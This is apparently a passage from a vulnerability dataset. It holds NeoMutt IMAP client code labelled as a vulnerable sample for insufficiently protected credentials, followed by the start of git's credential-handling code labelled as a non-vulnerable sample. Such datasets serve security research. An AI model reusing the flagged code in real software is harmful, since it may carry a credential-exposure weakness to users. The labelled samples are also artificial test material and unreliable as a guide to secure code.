0; int completions = 0; int rc; if (imap_adata_find(path, &adata, &mdata) < 0) { mutt_str_copy(buf, path, buflen); return complete_hosts(buf, buflen); } /* fire off command */ snprintf(tmp, sizeof(tmp), "%s \"\" \"%s%%\"", C_ImapListSubscribed ? "LSUB" : "LIST", mdata->real_name); imap_cmd_start(adata, tmp); /* and see what the results are */ mutt_str_copy(completion, mdata->name, sizeof(completion)); imap_mdata_free((void *) &mdata); adata->cmdresult = &listresp; do { listresp.name = NULL; rc = imap_cmd_step(adata); if ((rc == IMAP_RES_CONTINUE) && listresp.name) { /* if the folder isn't selectable, append delimiter to force browse * to enter it on second tab. */ if (listresp.noselect) { clen = strlen(listresp.name); listresp.name[clen++] = listresp.delim; listresp.name[clen] = '\0'; } /* copy in first word */ if (!completions) { mutt_str_copy(completion, listresp.name, sizeof(completion)); matchlen = strlen(completion); completions++; continue; } matchlen = longest_common_prefix(completion, listresp.name, 0, matchlen); completions++; } } while (rc == IMAP_RES_CONTINUE); adata->cmdresult = NULL; if (completions) { /* reformat output */ imap_qualify_path(buf, buflen, &adata->conn->account, completion); mutt_pretty_mailbox(buf, buflen); return 0; } return -1; } /** * imap_fast_trash - Use server COPY command to copy deleted messages to trash * @param m Mailbox * @param dest Mailbox to move to * @retval -1 Error * @retval 0 Success * @retval 1 Non-fatal error - try fetch/append */ int imap_fast_trash(struct Mailbox *m, char *dest) { char prompt[1024]; int rc = -1; bool triedcreate = false; enum QuadOption err_continue = MUTT_NO; struct ImapAccountData *adata = imap_adata_get(m); struct ImapAccountData *dest_adata = NULL; struct ImapMboxData *dest_mdata = NULL; if (imap_adata_find(dest, &dest_adata, &dest_mdata) < 0) return -1; struct Buffer sync_cmd = mutt_buffer_make(0); /* check that the save-to folder is in the same account */ if (!imap_account_match(&(adata->conn->account), &(dest_adata->conn->account))) { mutt_debug(LL_DEBUG3, "%s not same server as %s\n", dest, mailbox_path(m)); goto out; } for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; if (e->active && e->changed && e->deleted && !e->purge) { rc = imap_sync_message_for_copy(m, e, &sync_cmd, &err_continue); if (rc < 0) { mutt_debug(LL_DEBUG1, "could not sync\n"); goto out; } } } /* loop in case of TRYCREATE */ do { rc = imap_exec_msgset(m, "UID COPY", dest_mdata->munge_name, MUTT_TRASH, false, false); if (rc == 0) { mutt_debug(LL_DEBUG1, "No messages to trash\n"); rc = -1; goto out; } else if (rc < 0) { mutt_debug(LL_DEBUG1, "could not queue copy\n"); goto out; } else if (m->verbose) { mutt_message(ngettext("Copying %d message to %s...", "Copying %d messages to %s...", rc), rc, dest_mdata->name); } /* let's get it on */ rc = imap_exec(adata, NULL, IMAP_CMD_NO_FLAGS); if (rc == IMAP_EXEC_ERROR) { if (triedcreate) { mutt_debug(LL_DEBUG1, "Already tried to create mailbox %s\n", dest_mdata->name); break; } /* bail out if command failed for reasons other than nonexistent target */ if (!mutt_istr_startswith(imap_get_qualifier(adata->buf), "[TRYCREATE]")) break; mutt_debug(LL_DEBUG3, "server suggests TRYCREATE\n"); snprintf(prompt, sizeof(prompt), _("Create %s?"), dest_mdata->name); if (C_Confirmcreate && (mutt_yesorno(prompt, MUTT_YES) != MUTT_YES)) { mutt_clear_error(); goto out; } if (imap_create_mailbox(adata, dest_mdata->name) < 0) break; triedcreate = true; } } while (rc == IMAP_EXEC_ERROR); if (rc != IMAP_EXEC_SUCCESS) { imap_error("imap_fast_trash", adata->buf); goto out; } rc = IMAP_EXEC_SUCCESS; out: mutt_buffer_dealloc(&sync_cmd); imap_mdata_free((void *) &dest_mdata); return ((rc == IMAP_EXEC_SUCCESS) ? 0 : -1); } /** * imap_sync_mailbox - Sync all the changes to the server * @param m Mailbox * @param expunge if true do expunge * @param close if true we move imap state to CLOSE * @retval #MUTT_REOPENED mailbox has been externally modified * @retval #MUTT_NEW_MAIL new mail has arrived * @retval 0 Success * @retval -1 Error * * @note The flag retvals come from a call to imap_check_mailbox() */ int imap_sync_mailbox(struct Mailbox *m, bool expunge, bool close) { if (!m) return -1; struct Email **emails = NULL; int oldsort; int rc; int check; struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (adata->state < IMAP_SELECTED) { mutt_debug(LL_DEBUG2, "no mailbox selected\n"); return -1; } /* This function is only called when the calling code expects the context * to be changed. */ imap_allow_reopen(m); check = imap_check_mailbox(m, false); if (check < 0) return check; /* if we are expunging anyway, we can do deleted messages very quickly... */ if (expunge && (m->rights & MUTT_ACL_DELETE)) { rc = imap_exec_msgset(m, "UID STORE", "+FLAGS.SILENT (\\Deleted)", MUTT_DELETED, true, false); if (rc < 0) { mutt_error(_("Expunge failed")); return rc; } if (rc > 0) { /* mark these messages as unchanged so second pass ignores them. Done * here so BOGUS UW-IMAP 4.7 SILENT FLAGS updates are ignored. */ for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; if (e->deleted && e->changed) e->active = false; } if (m->verbose) { mutt_message(ngettext("Marking %d message deleted...", "Marking %d messages deleted...", rc), rc); } } } #ifdef USE_HCACHE imap_hcache_open(adata, mdata); #endif /* save messages with real (non-flag) changes */ for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; if (e->deleted) { imap_cache_del(m, e); #ifdef USE_HCACHE imap_hcache_del(mdata, imap_edata_get(e)->uid); #endif } if (e->active && e->changed) { #ifdef USE_HCACHE imap_hcache_put(mdata, e); #endif /* if the message has been rethreaded or attachments have been deleted * we delete the message and reupload it. * This works better if we're expunging, of course. */ /* TODO: why the e->env check? */ if ((e->env && e->env->changed) || e->attach_del) { /* L10N: The plural is chosen by the last %d, i.e. the total number */ if (m->verbose) { mutt_message(ngettext("Saving changed message... [%d/%d]", "Saving changed messages... [%d/%d]", m->msg_count), i + 1, m->msg_count); } bool save_append = m->append; m->append = true; mutt_save_message_ctx(e, true, false, false, m); m->append = save_append; /* TODO: why the check for e->env? Is this possible? */ if (e->env) e->env->changed = 0; } } } #ifdef USE_HCACHE imap_hcache_close(mdata); #endif /* presort here to avoid doing 10 resorts in imap_exec_msgset */ oldsort = C_Sort; if (C_Sort != SORT_ORDER) { emails = m->emails; m->emails = mutt_mem_malloc(m->msg_count * sizeof(struct Email *)); memcpy(m->emails, emails, m->msg_count * sizeof(struct Email *)); C_Sort = SORT_ORDER; qsort(m->emails, m->msg_count, sizeof(struct Email *), mutt_get_sort_func(SORT_ORDER)); } rc = sync_helper(m, MUTT_ACL_DELETE, MUTT_DELETED, "\\Deleted"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_WRITE, MUTT_FLAG, "\\Flagged"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_WRITE, MUTT_OLD, "Old"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_SEEN, MUTT_READ, "\\Seen"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_WRITE, MUTT_REPLIED, "\\Answered"); if (oldsort != C_Sort) { C_Sort = oldsort; FREE(&m->emails); m->emails = emails; } /* Flush the queued flags if any were changed in sync_helper. */ if (rc > 0) if (imap_exec(adata, NULL, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) rc = -1; if (rc < 0) { if (close) { if (mutt_yesorno(_("Error saving flags. Close anyway?"), MUTT_NO) == MUTT_YES) { adata->state = IMAP_AUTHENTICATED; return 0; } } else mutt_error(_("Error saving flags")); return -1; } /* Update local record of server state to reflect the synchronization just * completed. imap_read_headers always overwrites hcache-origin flags, so * there is no need to mutate the hcache after flag-only changes. */ for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; struct ImapEmailData *edata = imap_edata_get(e); edata->deleted = e->deleted; edata->flagged = e->flagged; edata->old = e->old; edata->read = e->read; edata->replied = e->replied; e->changed = false; } m->changed = false; /* We must send an EXPUNGE command if we're not closing. */ if (expunge && !close && (m->rights & MUTT_ACL_DELETE)) { if (m->verbose) mutt_message(_("Expunging messages from server...")); /* Set expunge bit so we don't get spurious reopened messages */ mdata->reopen |= IMAP_EXPUNGE_EXPECTED; if (imap_exec(adata, "EXPUNGE", IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { mdata->reopen &= ~IMAP_EXPUNGE_EXPECTED; imap_error(_("imap_sync_mailbox: EXPUNGE failed"), adata->buf); return -1; } mdata->reopen &= ~IMAP_EXPUNGE_EXPECTED; } if (expunge && close) { adata->closing = true; imap_exec(adata, "CLOSE", IMAP_CMD_QUEUE); adata->state = IMAP_AUTHENTICATED; } if (C_MessageCacheClean) imap_cache_clean(m); return check; } /** * imap_ac_find - Find an Account that matches a Mailbox path - Implements MxOps::ac_find() */ static struct Account *imap_ac_find(struct Account *a, const char *path) { struct Url *url = url_parse(path); if (!url) return NULL; struct ImapAccountData *adata = a->adata; struct ConnAccount *cac = &adata->conn->account; if (!mutt_istr_equal(url->host, cac->host)) a = NULL; else if (url->user && !mutt_istr_equal(url->user, cac->user)) a = NULL; url_free(&url); return a; } /** * imap_ac_add - Add a Mailbox to an Account - Implements MxOps::ac_add() */ static int imap_ac_add(struct Account *a, struct Mailbox *m) { struct ImapAccountData *adata = a->adata; if (!adata) { struct ConnAccount cac = { { 0 } }; char mailbox[PATH_MAX]; if (imap_parse_path(mailbox_path(m), &cac, mailbox, sizeof(mailbox)) < 0) return -1; adata = imap_adata_new(a); adata->conn = mutt_conn_new(&cac); if (!adata->conn) { imap_adata_free((void **) &adata); return -1; } mutt_account_hook(m->realpath); if (imap_login(adata) < 0) { imap_adata_free((void **) &adata); return -1; } a->adata = adata; a->adata_free = imap_adata_free; } if (!m->mdata) { struct Url *url = url_parse(mailbox_path(m)); struct ImapMboxData *mdata = imap_mdata_new(adata, url->path); /* fixup path and realpath, mainly to replace / by /INBOX */ char buf[1024]; imap_qualify_path(buf, sizeof(buf), &adata->conn->account, mdata->name); mutt_buffer_strcpy(&m->pathbuf, buf); mutt_str_replace(&m->realpath, mailbox_path(m)); m->mdata = mdata; m->mdata_free = imap_mdata_free; url_free(&url); } return 0; } /** * imap_mbox_select - Select a Mailbox * @param m Mailbox */ static void imap_mbox_select(struct Mailbox *m) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (!adata || !mdata) return; const char *condstore = NULL; #ifdef USE_HCACHE if ((adata->capabilities & IMAP_CAP_CONDSTORE) && C_ImapCondstore) condstore = " (CONDSTORE)"; else #endif condstore = ""; char buf[PATH_MAX]; snprintf(buf, sizeof(buf), "%s %s%s", m->readonly ? "EXAMINE" : "SELECT", mdata->munge_name, condstore); adata->state = IMAP_SELECTED; imap_cmd_start(adata, buf); } /** * imap_login - Open an IMAP connection * @param adata Imap Account data * @retval 0 Success * @retval -1 Failure * * Ensure ImapAccountData is connected and logged into the imap server. */ int imap_login(struct ImapAccountData *adata) { if (!adata) return -1; if (adata->state == IMAP_DISCONNECTED) { mutt_buffer_reset(&adata->cmdbuf); // purge outstanding queued commands imap_open_connection(adata); } if (adata->state == IMAP_CONNECTED) { if (imap_authenticate(adata) == IMAP_AUTH_SUCCESS) { adata->state = IMAP_AUTHENTICATED; FREE(&adata->capstr); if (adata->conn->ssf != 0) { mutt_debug(LL_DEBUG2, "Communication encrypted at %d bits\n", adata->conn->ssf); } } else mutt_account_unsetpass(&adata->conn->account); } if (adata->state == IMAP_AUTHENTICATED) { /* capabilities may have changed */ imap_exec(adata, "CAPABILITY", IMAP_CMD_PASS); #ifdef USE_ZLIB /* RFC4978 */ if ((adata->capabilities & IMAP_CAP_COMPRESS) && C_ImapDeflate && (imap_exec(adata, "COMPRESS DEFLATE", IMAP_CMD_PASS) == IMAP_EXEC_SUCCESS)) { mutt_debug(LL_DEBUG2, "IMAP compression is enabled on connection to %s\n", adata->conn->account.host); mutt_zstrm_wrap_conn(adata->conn); } #endif /* enable RFC6855, if the server supports that */ if (C_ImapRfc5161 && (adata->capabilities & IMAP_CAP_ENABLE)) imap_exec(adata, "ENABLE UTF8=ACCEPT", IMAP_CMD_QUEUE); /* enable QRESYNC. Advertising QRESYNC also means CONDSTORE * is supported (even if not advertised), so flip that bit. */ if (adata->capabilities & IMAP_CAP_QRESYNC) { adata->capabilities |= IMAP_CAP_CONDSTORE; if (C_ImapRfc5161 && C_ImapQresync) imap_exec(adata, "ENABLE QRESYNC", IMAP_CMD_QUEUE); } /* get root delimiter, '/' as default */ adata->delim = '/'; imap_exec(adata, "LIST \"\" \"\"", IMAP_CMD_QUEUE); /* we may need the root delimiter before we open a mailbox */ imap_exec(adata, NULL, IMAP_CMD_NO_FLAGS); /* select the mailbox that used to be open before disconnect */ if (adata->mailbox) { imap_mbox_select(adata->mailbox); } } if (adata->state < IMAP_AUTHENTICATED) return -1; return 0; } /** * imap_mbox_open - Open a mailbox - Implements MxOps::mbox_open() */ static int imap_mbox_open(struct Mailbox *m) { if (!m->account || !m->mdata) return -1; char buf[PATH_MAX]; int count = 0; int rc; struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); mutt_debug(LL_DEBUG3, "opening %s, saving %s\n", m->pathbuf.data, (adata->mailbox ? adata->mailbox->pathbuf.data : "(none)")); adata->prev_mailbox = adata->mailbox; adata->mailbox = m; /* clear mailbox status */ adata->status = 0; m->rights = 0; mdata->new_mail_count = 0; if (m->verbose) mutt_message(_("Selecting %s..."), mdata->name); /* pipeline ACL test */ if (adata->capabilities & IMAP_CAP_ACL) { snprintf(buf, sizeof(buf), "MYRIGHTS %s", mdata->munge_name); imap_exec(adata, buf, IMAP_CMD_QUEUE); } /* assume we have all rights if ACL is unavailable */ else { m->rights |= MUTT_ACL_LOOKUP | MUTT_ACL_READ | MUTT_ACL_SEEN | MUTT_ACL_WRITE | MUTT_ACL_INSERT | MUTT_ACL_POST | MUTT_ACL_CREATE | MUTT_ACL_DELETE; } /* pipeline the postponed count if possible */ struct Mailbox *m_postponed = mx_mbox_find2(C_Postponed); struct ImapAccountData *postponed_adata = imap_adata_get(m_postponed); if (postponed_adata && imap_account_match(&postponed_adata->conn->account, &adata->conn->account)) { imap_mailbox_status(m_postponed, true); } if (C_ImapCheckSubscribed) imap_exec(adata, "LSUB \"\" \"*\"", IMAP_CMD_QUEUE); imap_mbox_select(m); do { char *pc = NULL; rc = imap_cmd_step(adata); if (rc != IMAP_RES_CONTINUE) break; pc = adata->buf + 2; /* Obtain list of available flags here, may be overridden by a * PERMANENTFLAGS tag in the OK response */ if (mutt_istr_startswith(pc, "FLAGS")) { /* don't override PERMANENTFLAGS */ if (STAILQ_EMPTY(&mdata->flags)) { mutt_debug(LL_DEBUG3, "Getting mailbox FLAGS\n"); pc = get_flags(&mdata->flags, pc); if (!pc) goto fail; } } /* PERMANENTFLAGS are massaged to look like FLAGS, then override FLAGS */ else if (mutt_istr_startswith(pc, "OK [PERMANENTFLAGS")) { mutt_debug(LL_DEBUG3, "Getting mailbox PERMANENTFLAGS\n"); /* safe to call on NULL */ mutt_list_free(&mdata->flags); /* skip "OK [PERMANENT" so syntax is the same as FLAGS */ pc += 13; pc = get_flags(&(mdata->flags), pc); if (!pc) goto fail; } /* save UIDVALIDITY for the header cache */ else if (mutt_istr_startswith(pc, "OK [UIDVALIDITY")) { mutt_debug(LL_DEBUG3, "Getting mailbox UIDVALIDITY\n"); pc += 3; pc = imap_next_word(pc); if (mutt_str_atoui(pc, &mdata->uidvalidity) < 0) goto fail; } else if (mutt_istr_startswith(pc, "OK [UIDNEXT")) { mutt_debug(LL_DEBUG3, "Getting mailbox UIDNEXT\n"); pc += 3; pc = imap_next_word(pc); if (mutt_str_atoui(pc, &mdata->uid_next) < 0) goto fail; } else if (mutt_istr_startswith(pc, "OK [HIGHESTMODSEQ")) { mutt_debug(LL_DEBUG3, "Getting mailbox HIGHESTMODSEQ\n"); pc += 3; pc = imap_next_word(pc); if (mutt_str_atoull(pc, &mdata->modseq) < 0) goto fail; } else if (mutt_istr_startswith(pc, "OK [NOMODSEQ")) { mutt_debug(LL_DEBUG3, "Mailbox has NOMODSEQ set\n"); mdata->modseq = 0; } else { pc = imap_next_word(pc); if (mutt_istr_startswith(pc, "EXISTS")) { count = mdata->new_mail_count; mdata->new_mail_count = 0; } } } while (rc == IMAP_RES_CONTINUE); if (rc == IMAP_RES_NO) { char *s = imap_next_word(adata->buf); /* skip seq */ s = imap_next_word(s); /* Skip response */ mutt_error("%s", s); goto fail; } if (rc != IMAP_RES_OK) goto fail; /* check for READ-ONLY notification */ if (mutt_istr_startswith(imap_get_qualifier(adata->buf), "[READ-ONLY]") && !(adata->capabilities & IMAP_CAP_ACL)) { mutt_debug(LL_DEBUG2, "Mailbox is read-only\n"); m->readonly = true; } /* dump the mailbox flags we've found */ if (C_DebugLevel > LL_DEBUG2) { if (STAILQ_EMPTY(&mdata->flags)) mutt_debug(LL_DEBUG3, "No folder flags found\n"); else { struct ListNode *np = NULL; struct Buffer flag_buffer; mutt_buffer_init(&flag_buffer); mutt_buffer_printf(&flag_buffer, "Mailbox flags: "); STAILQ_FOREACH(np, &mdata->flags, entries) { mutt_buffer_add_printf(&flag_buffer, "[%s] ", np->data); } mutt_debug(LL_DEBUG3, "%s\n", flag_buffer.data); FREE(&flag_buffer.data); } } if (!((m->rights & MUTT_ACL_DELETE) || (m->rights & MUTT_ACL_SEEN) || (m->rights & MUTT_ACL_WRITE) || (m->rights & MUTT_ACL_INSERT))) { m->readonly = true; } while (m->email_max < count) mx_alloc_memory(m); m->msg_count = 0; m->msg_unread = 0; m->msg_flagged = 0; m->msg_new = 0; m->msg_deleted = 0; m->size = 0; m->vcount = 0; if (count && (imap_read_headers(m, 1, count, true) < 0)) { mutt_error(_("Error opening mailbox")); goto fail; } mutt_debug(LL_DEBUG2, "msg_count is %d\n", m->msg_count); return 0; fail: if (adata->state == IMAP_SELECTED) adata->state = IMAP_AUTHENTICATED; return -1; } /** * imap_mbox_open_append - Open a Mailbox for appending - Implements MxOps::mbox_open_append() */ static int imap_mbox_open_append(struct Mailbox *m, OpenMailboxFlags flags) { if (!m->account) return -1; /* in APPEND mode, we appear to hijack an existing IMAP connection - * ctx is brand new and mostly empty */ struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); int rc = imap_mailbox_status(m, false); if (rc >= 0) return 0; if (rc == -1) return -1; char buf[PATH_MAX + 64]; snprintf(buf, sizeof(buf), _("Create %s?"), mdata->name); if (C_Confirmcreate && (mutt_yesorno(buf, MUTT_YES) != MUTT_YES)) return -1; if (imap_create_mailbox(adata, mdata->name) < 0) return -1; return 0; } /** * imap_mbox_check - Check for new mail - Implements MxOps::mbox_check() * @param m Mailbox * @retval >0 Success, e.g. #MUTT_REOPENED * @retval -1 Failure */ static int imap_mbox_check(struct Mailbox *m) { imap_allow_reopen(m); int rc = imap_check_mailbox(m, false); /* NOTE - ctx might have been changed at this point. In particular, * m could be NULL. Beware. */ imap_disallow_reopen(m); return rc; } /** * imap_mbox_close - Close a Mailbox - Implements MxOps::mbox_close() */ static int imap_mbox_close(struct Mailbox *m) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); /* Check to see if the mailbox is actually open */ if (!adata || !mdata) return 0; /* imap_mbox_open_append() borrows the struct ImapAccountData temporarily, * just for the connection. * * So when these are equal, it means we are actually closing the * mailbox and should clean up adata. Otherwise, we don't want to * touch adata - it's still being used. */ if (m == adata->mailbox) { if ((adata->status != IMAP_FATAL) && (adata->state >= IMAP_SELECTED)) { /* mx_mbox_close won't sync if there are no deleted messages * and the mailbox is unchanged, so we may have to close here */ if (m->msg_deleted == 0) { adata->closing = true; imap_exec(adata, "CLOSE", IMAP_CMD_QUEUE); } adata->state = IMAP_AUTHENTICATED; } mutt_debug(LL_DEBUG3, "closing %s, restoring %s\n", m->pathbuf.data, (adata->prev_mailbox ? adata->prev_mailbox->pathbuf.data : "(none)")); adata->mailbox = adata->prev_mailbox; imap_mbox_select(adata->prev_mailbox); imap_mdata_cache_reset(m->mdata); } return 0; } /** * imap_msg_open_new - Open a new message in a Mailbox - Implements MxOps::msg_open_new() */ static int imap_msg_open_new(struct Mailbox *m, struct Message *msg, const struct Email *e) { int rc = -1; struct Buffer *tmp = mutt_buffer_pool_get(); mutt_buffer_mktemp(tmp); msg->fp = mutt_file_fopen(mutt_b2s(tmp), "w"); if (!msg->fp) { mutt_perror(mutt_b2s(tmp)); goto cleanup; } msg->path = mutt_buffer_strdup(tmp); rc = 0; cleanup: mutt_buffer_pool_release(&tmp); return rc; } /** * imap_tags_edit - Prompt and validate new messages tags - Implements MxOps::tags_edit() */ static int imap_tags_edit(struct Mailbox *m, const char *tags, char *buf, size_t buflen) { struct ImapMboxData *mdata = imap_mdata_get(m); if (!mdata) return -1; char *new_tag = NULL; char *checker = NULL; /* Check for \* flags capability */ if (!imap_has_flag(&mdata->flags, NULL)) { mutt_error(_("IMAP server doesn't support custom flags")); return -1; } *buf = '\0'; if (tags) mutt_str_copy(buf, tags, buflen); if (mutt_get_field("Tags: ", buf, buflen, MUTT_COMP_NO_FLAGS) != 0) return -1; /* each keyword must be atom defined by rfc822 as: * * atom = 1*<any CHAR except specials, SPACE and CTLs> * CHAR = ( 0.-127. ) * specials = "(" / ")" / "<" / ">" / "@" * / "," / ";" / ":" / "\" / <"> * / "." / "[" / "]" * SPACE = ( 32. ) * CTLS = ( 0.-31., 127.) * * And must be separated by one space. */ new_tag = buf; checker = buf; SKIPWS(checker); while (*checker != '\0') { if ((*checker < 32) || (*checker >= 127) || // We allow space because it's the separator (*checker == 40) || // ( (*checker == 41) || // ) (*checker == 60) || // < (*checker == 62) || // > (*checker == 64) || // @ (*checker == 44) || // , (*checker == 59) || // ; (*checker == 58) || // : (*checker == 92) || // backslash (*checker == 34) || // " (*checker == 46) || // . (*checker == 91) || // [ (*checker == 93)) // ] { mutt_error(_("Invalid IMAP flags")); return 0; } /* Skip duplicate space */ while ((checker[0] == ' ') && (checker[1] == ' ')) checker++; /* copy char to new_tag and go the next one */ *new_tag++ = *checker++; } *new_tag = '\0'; new_tag = buf; /* rewind */ mutt_str_remove_trailing_ws(new_tag); return !mutt_str_equal(tags, buf); } /** * imap_tags_commit - Save the tags to a message - Implements MxOps::tags_commit() * * This method update the server flags on the server by * removing the last know custom flags of a header * and adds the local flags * * If everything success we push the local flags to the * last know custom flags (flags_remote). * * Also this method check that each flags is support by the server * first and remove unsupported one. */ static int imap_tags_commit(struct Mailbox *m, struct Email *e, char *buf) { char uid[11]; struct ImapAccountData *adata = imap_adata_get(m); if (*buf == '\0') buf = NULL; if (!(adata->mailbox->rights & MUTT_ACL_WRITE)) return 0; snprintf(uid, sizeof(uid), "%u", imap_edata_get(e)->uid); /* Remove old custom flags */ if (imap_edata_get(e)->flags_remote) { struct Buffer cmd = mutt_buffer_make(128); // just a guess mutt_buffer_addstr(&cmd, "UID STORE "); mutt_buffer_addstr(&cmd, uid); mutt_buffer_addstr(&cmd, " -FLAGS.SILENT ("); mutt_buffer_addstr(&cmd, imap_edata_get(e)->flags_remote); mutt_buffer_addstr(&cmd, ")"); /* Should we return here, or we are fine and we could * continue to add new flags */ int rc = imap_exec(adata, cmd.data, IMAP_CMD_NO_FLAGS); mutt_buffer_dealloc(&cmd); if (rc != IMAP_EXEC_SUCCESS) { return -1; } } /* Add new custom flags */ if (buf) { struct Buffer cmd = mutt_buffer_make(128); // just a guess mutt_buffer_addstr(&cmd, "UID STORE "); mutt_buffer_addstr(&cmd, uid); mutt_buffer_addstr(&cmd, " +FLAGS.SILENT ("); mutt_buffer_addstr(&cmd, buf); mutt_buffer_addstr(&cmd, ")"); int rc = imap_exec(adata, cmd.data, IMAP_CMD_NO_FLAGS); mutt_buffer_dealloc(&cmd); if (rc != IMAP_EXEC_SUCCESS) { mutt_debug(LL_DEBUG1, "fail to add new flags\n"); return -1; } } /* We are good sync them */ mutt_debug(LL_DEBUG1, "NEW TAGS: %s\n", buf); driver_tags_replace(&e->tags, buf); FREE(&imap_edata_get(e)->flags_remote); imap_edata_get(e)->flags_remote = driver_tags_get_with_hidden(&e->tags); return 0; } /** * imap_path_probe - Is this an IMAP Mailbox? - Implements MxOps::path_probe() */ enum MailboxType imap_path_probe(const char *path, const struct stat *st) { if (mutt_istr_startswith(path, "imap://")) return MUTT_IMAP; if (mutt_istr_startswith(path, "imaps://")) return MUTT_IMAP; return MUTT_UNKNOWN; } /** * imap_path_canon - Canonicalise a Mailbox path - Implements MxOps::path_canon() */ int imap_path_canon(char *buf, size_t buflen) { struct Url *url = url_parse(buf); if (!url) return 0; char tmp[PATH_MAX]; char tmp2[PATH_MAX]; imap_fix_path('\0', url->path, tmp, sizeof(tmp)); url->path = tmp; url_tostring(url, tmp2, sizeof(tmp2), 0); mutt_str_copy(buf, tmp2, buflen); url_free(&url); return 0; } /** * imap_expand_path - Buffer wrapper around imap_path_canon() * @param buf Path to expand * @retval 0 Success * @retval -1 Failure * * @note The path is expanded in place */ int imap_expand_path(struct Buffer *buf) { mutt_buffer_alloc(buf, PATH_MAX); return imap_path_canon(buf->data, PATH_MAX); } /** * imap_path_pretty - Abbreviate a Mailbox path - Implements MxOps::path_pretty() */ static int imap_path_pretty(char *buf, size_t buflen, const char *folder) { if (!folder) return -1; imap_pretty_mailbox(buf, buflen, folder); return 0; } /** * imap_path_parent - Find the parent of a Mailbox path - Implements MxOps::path_parent() */ static int imap_path_parent(char *buf, size_t buflen) { char tmp[PATH_MAX] = { 0 }; imap_get_parent_path(buf, tmp, sizeof(tmp)); mutt_str_copy(buf, tmp, buflen); return 0; } /** * imap_path_is_empty - Is the mailbox empty - Implements MxOps::path_is_empty() */ static int imap_path_is_empty(const char *path) { int rc = imap_path_status(path, false); if (rc < 0) return -1; if (rc == 0) return 1; return 0; } // clang-format off /** * MxImapOps - IMAP Mailbox - Implements ::MxOps */ struct MxOps MxImapOps = { .type = MUTT_IMAP, .name = "imap", .is_local = false, .ac_find = imap_ac_find, .ac_add = imap_ac_add, .mbox_open = imap_mbox_open, .mbox_open_append = imap_mbox_open_append, .mbox_check = imap_mbox_check, .mbox_check_stats = imap_mbox_check_stats, .mbox_sync = NULL, /* imap syncing is handled by imap_sync_mailbox */ .mbox_close = imap_mbox_close, .msg_open = imap_msg_open, .msg_open_new = imap_msg_open_new, .msg_commit = imap_msg_commit, .msg_close = imap_msg_close, .msg_padding_size = NULL, .msg_save_hcache = imap_msg_save_hcache, .tags_edit = imap_tags_edit, .tags_commit = imap_tags_commit, .path_probe = imap_path_probe, .path_canon = imap_path_canon, .path_pretty = imap_path_pretty, .path_parent = imap_path_parent, .path_is_empty = imap_path_is_empty, }; // clang-format on
./CrossVul/dataset_final_sorted/CWE-522/c/bad_4451_0
crossvul-cpp_data_good_4557_0
#include "cache.h" #include "config.h" #include "credential.h" #include "string-list.h" #include "run-command.h" #include "url.h" #include "prompt.h" void credential_init(struct credential *c) { memset(c, 0, sizeof(*c)); c->helpers.strdup_strings = 1; } void credential_clear(struct credential *c) { free(c->protocol); free(c->host); free(c->path); free(c->username); free(c->password); string_list_clear(&c->helpers, 0); credential_init(c); } int credential_match(const struct credential *want, const struct credential *have) { #define CHECK(x) (!want->x || (have->x && !strcmp(want->x, have->x))) return CHECK(protocol) && CHECK(host) && CHECK(path) && CHECK(username); #undef CHECK } static int credential_config_callback(const char *var, const char *value, void *data) { struct credential *c = data; const char *key, *dot; if (!skip_prefix(var, "credential.", &key)) return 0; if (!value) return config_error_nonbool(var); dot = strrchr(key, '.'); if (dot) { struct credential want = CREDENTIAL_INIT; char *url = xmemdupz(key, dot - key); int matched; credential_from_url(&want, url); matched = credential_match(&want, c); credential_clear(&want); free(url); if (!matched) return 0; key = dot + 1; } if (!strcmp(key, "helper")) { if (*value) string_list_append(&c->helpers, value); else string_list_clear(&c->helpers, 0); } else if (!strcmp(key, "username")) { if (!c->username) c->username = xstrdup(value); } else if (!strcmp(key, "usehttppath")) c->use_http_path = git_config_bool(var, value); return 0; } static int proto_is_http(const char *s) { if (!s) return 0; return !strcmp(s, "https") || !strcmp(s, "http"); } static void credential_apply_config(struct credential *c) { if (c->configured) return; git_config(credential_config_callback, c); c->configured = 1; if (!c->use_http_path && proto_is_http(c->protocol)) { FREE_AND_NULL(c->path); } } static void credential_describe(struct credential *c, struct strbuf *out) { if (!c->protocol) return; strbuf_addf(out, "%s://", c->protocol); if (c->username && *c->username) strbuf_addf(out, "%s@", c->username); if (c->host) strbuf_addstr(out, c->host); if (c->path) strbuf_addf(out, "/%s", c->path); } static char *credential_ask_one(const char *what, struct credential *c, int flags) { struct strbuf desc = STRBUF_INIT; struct strbuf prompt = STRBUF_INIT; char *r; credential_describe(c, &desc); if (desc.len) strbuf_addf(&prompt, "%s for '%s': ", what, desc.buf); else strbuf_addf(&prompt, "%s: ", what); r = git_prompt(prompt.buf, flags); strbuf_release(&desc); strbuf_release(&prompt); return xstrdup(r); } static void credential_getpass(struct credential *c) { if (!c->username) c->username = credential_ask_one("Username", c, PROMPT_ASKPASS|PROMPT_ECHO); if (!c->password) c->password = credential_ask_one("Password", c, PROMPT_ASKPASS); } int credential_read(struct credential *c, FILE *fp) { struct strbuf line = STRBUF_INIT; while (strbuf_getline_lf(&line, fp) != EOF) { char *key = line.buf; char *value = strchr(key, '='); if (!line.len) break; if (!value) { warning("invalid credential line: %s", key); strbuf_release(&line); return -1; } *value++ = '\0'; if (!strcmp(key, "username")) { free(c->username); c->username = xstrdup(value); } else if (!strcmp(key, "password")) { free(c->password); c->password = xstrdup(value); } else if (!strcmp(key, "protocol")) { free(c->protocol); c->protocol = xstrdup(value); } else if (!strcmp(key, "host")) { 